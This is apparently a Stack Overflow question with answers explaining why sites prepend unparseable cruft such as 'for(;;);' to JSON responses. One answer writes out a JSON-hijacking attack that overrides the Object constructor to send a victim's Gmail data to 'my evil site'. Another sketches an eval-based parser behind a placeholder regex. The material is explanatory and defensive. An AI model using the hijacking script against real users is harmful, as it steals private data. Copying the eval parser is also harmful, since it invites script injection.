Why do people put code like "throw 1; <dont be evil>" and "for(;;);" in front of json responses? [duplicate]

Question

Possible Duplicate:
Why does Google prepend while(1); to their JSON responses?

Google returns json like this:

throw 1; <dont be evil> { foo: bar}

and Facebooks ajax has json like this:

for(;;); {"error":0,"errorSummary": ""}

• Why do they put code that would stop execution and makes invalid json?
• How do they parse it if it's invalid and would crash if you tried to eval it?
• Do they just remove it from the string (seems expensive)?
• Are there any security advantages to this?

In response to it being for security purposes:

If the scraper is on another domain they would have to use a script tag to get the data because XHR won't work cross-domain. Even without the for(;;); how would the attacker get the data? It's not assigned to a variable so wouldn't it just be garbage collected because there's no references to it?

Basically to get the data cross domain they would have to do

<script src="http://target.com/json.js"></script>

But even without the crash script prepended the attacker can't use any of the Json data without it being assigned to a variable that you can access globally (it isn't in these cases). The crash code effectivly does nothing because even without it they have to use server sided scripting to use the data on their site.

Answer 1

Consider that, after checking your GMail account, that you go visit my evil page:

<script type="text/javascript">
Object = function() {
  ajaxRequestToMyEvilSite(JSON.serialize(this));
}
</script>
<script type="text/javascript" src="http://gmail.com/inbox/listMessage"></script>

What will happen now is that the Javascript code that comes from Google -- which the asker thought would be benign and immediately fall out of scope -- will actually be posted to my evil site. Suppose that the URL requested in the script tag sends (because your browser will present the proper cookie, Google will correctly think that you are logged in to your inbox):

({
  messages: [
    {
      id: 1,
      subject: 'Super confidential information',
      message: 'Please keep this to yourself: the password is 42'
    },{
      id: 2,
      subject: 'Who stole your password?',
      message: 'Someone knows your password! I told you to keep this information to yourself! And by this information I mean: the password is 42'
    }
  ]
})

Now, I will be posting a serialized version of this object to my evil server. Thank you!

The way to prevent this from happening is to cruft up your JSON responses, and decruft them when you, from the same domain, can manipulate that data. If you like this answer, please look at the one posted by bobince.

Answer 2

EDIT

These strings are commonly referred to as an "unparseable cruft" and they are used to patch an information leakage vulnerability that affects the JSON specification. This attack is real world and a vulnerability in gmail was discovered by Jeremiah Grossman. Mozilla also believes this to be a vulnerability in the JSON specification and it has been patched in Firefox 3. However because this issue still affects other browsers this "unparseable cruft" is required because it is a compatible patch.

Bobice's answer has a technical explanation of this attack and it is correct.

Answer 3

How do they parse it if it's invalid and would crash if you tried to eval it?

It's a feature that it would crash if you tried to eval it. eval allows arbitary JavaScript code, which could be used for a cross-site scripting attack.

Do they just remove it from the string (seems expensive)?

I imagine so. Probably something like:

function parseJson(json) {
   json = json.replace("throw 1; <dont be evil>", "");
   if (/* regex to validate the JSON */) {
       return eval(json);
   } else {
       throw "XSS";
   }
}

The "don't be evil" cruft prevents developers from using eval directly instead of a more secure alternative.